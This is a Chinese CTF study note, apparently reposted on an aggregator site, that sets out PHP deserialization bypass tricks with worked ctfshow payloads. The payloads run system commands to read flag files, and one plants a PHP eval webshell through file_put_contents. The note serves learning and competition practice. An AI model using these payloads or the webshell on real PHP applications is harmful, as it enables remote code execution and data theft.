【Web】PHP反序列化的一些trick

news/2024/5/19 23:20:33 标签: 前端, php, 笔记, 安全, 开发语言, CTF, WEB

目录

①__wakeup绕过

②加号绕过正则匹配

③引用绕过相等

④16进制绕过关键词过滤

⑤Exception绕过

⑥字符串逃逸


要中期考试乐(悲)

①__wakeup绕过


反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
php5-php5.6.25;php7-php7.0.10)

②加号绕过正则匹配

例题1:web56

$a=new backdoor();
$a->name='system("tac /f*");';
echo serialize($a);

//O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
//O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

 payload:

data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

③引用绕过相等

例题2:web57

用&保证password和secret指向相同的内存引用地址

<?php

class login{

    public $username='admin';
    public $password;
    public $secret;

    private $code="system('cat /f1ag');";

    public function __wakeup(){
        $this->secret = file_get_contents("/f1ag");
    }

    public function check_login(){
        if($this->username = 'admin' && $this->password==$this->secret){
            eval($this->code);
        }
    }
}
$a=new login();
$a->password=&$a->secret;
echo urlencode(serialize($a));

//O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D

payload:

data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D 

④16进制绕过关键词过滤

反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)

举例:

?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

当lover被过滤的时候,可以如下绕过

推荐一个在线平台:

在线字符串和16进制互转

?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

⑤Exception绕过

破坏反序列化结构即可

例题3:web59

$a=new backdoor();
echo serialize($a);

//O:8:"backdoor":0:{}
//O:8:"backdoor":0:{

payload:

data= O:8:"backdoor":0:{

⑥字符串逃逸

例题4:web60

 system->ctfshow(由6变7)

要逃逸的字符串:

";s:1:"a";s:7:"tac /f*";}

(总长25)

最终payload:

m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}


http://www.niftyadmin.cn/n/5193463.html

相关文章

Mybatis Plus公共字段自动填充

在多张表中同时存在创建时间、创建人、修改时间、修改人等字段&#xff0c;这些基础字段属于公共字段&#xff0c;那能不能对于这些公共字段在某个地方统一进行处理&#xff0c;从而简化开发&#xff0c;针对这个场景&#xff0c;就可以采用Mybatis Plus提供的公共字段自动填充…

OpenAI发布会中不起眼的重大更新

上周&#xff0c;OpenAI的历史首届开发者大会上&#xff0c;OpenAI的首席执行官山姆奥特曼展示了一系列产品更新&#xff0c;包含了众多重磅功能&#xff0c;就算单独拿出来都能让科技圈震一震&#xff0c;一下能发布这么多也真是家底厚。 果不其然&#xff0c;接下来的一周&am…

fopen/fwrite/fread 对UNICODE字符写入的总结

windows对fopen函数进行了升级&#xff0c;可以支持指定文件的编码格式&#xff08;ccs参数指定&#xff09;。 例如&#xff1a; FILE *fp fopen("newfile.txt", "rt, ccsUTF-8"); 当以 ccs 模式打开文件时&#xff0c;进行读写操作的数据应为 UTF-16…

汽车级低压差稳压器LDO LM317BD2TR4G原理、参数及应用

LM317BD2TR4G主要功能特性分析 &#xff1a; LM317BD2TR4G 低漏 (LDO) 线性电压稳压器是一款可调 3 端子正向 LDO 电压器&#xff0c;能够在 1.2 V 至 37 V 的输出电压范围内提供 1.5 A 以上的电流。此电压稳压器使用非常简便&#xff0c;仅需两个外部电阻即可设置输出电压。另…

综述:目标检测二十年(机翻版)(未完

原文地址 20年来的目标检测&#xff1a;一项调查 摘要关键词一 介绍二 目标检测二十年A.一个目标检测的路线图1)里程碑&#xff1a;传统探测器Viola Jones探测器HOG检测器基于可变形零件的模型&#xff08;DPM&#xff09; 2)里程碑&#xff1a;基于CNN的两阶段探测器RCNNSPPN…

NPM 与 XUI 共存!Nginx Proxy Manager 搭配 X-UI 实现 Vless+WS+TLS 教程!

之前分享过搭建可以与宝塔共存的一个 “魔法” 服务器状态监控应用 ——xui&#xff0c;支持 VmessWSTLS。 最近 Docker 视频出的比较多&#xff0c;前阵子又出现了宝塔国内版存在隐私泄露的问题&#xff0c;很多小伙伴其实都不用宝塔了&#xff0c;那么&#xff0c;在我们现在…

【STM32】DMA(直接存储器访问)

一、DMA本质 在ADC中使用FIFO&#xff08;先进先出&#xff09;&#xff0c;当FIFO快满的时候&#xff0c;产生一个中断。在中断的时候将数据传输到SRAM&#xff0c;但是此时还是需要CPU的参与&#xff0c;但是CPU就不会一直在等待。【但是这个方法还是不能完全解决问题】 此时…

Unity在Windows选项下没有Auto Streaming

Unity在Windows选项下没有Auto Streaming Unity Auto Streaming插件按网上说的不太好使最终解决方案 Unity Auto Streaming插件 我用的版本是个人版免费版&#xff0c;版本号是&#xff1a;2021.2.5f1c1&#xff0c;我的里边Windows下看不到Auto Streaming选项,就像下边这张图…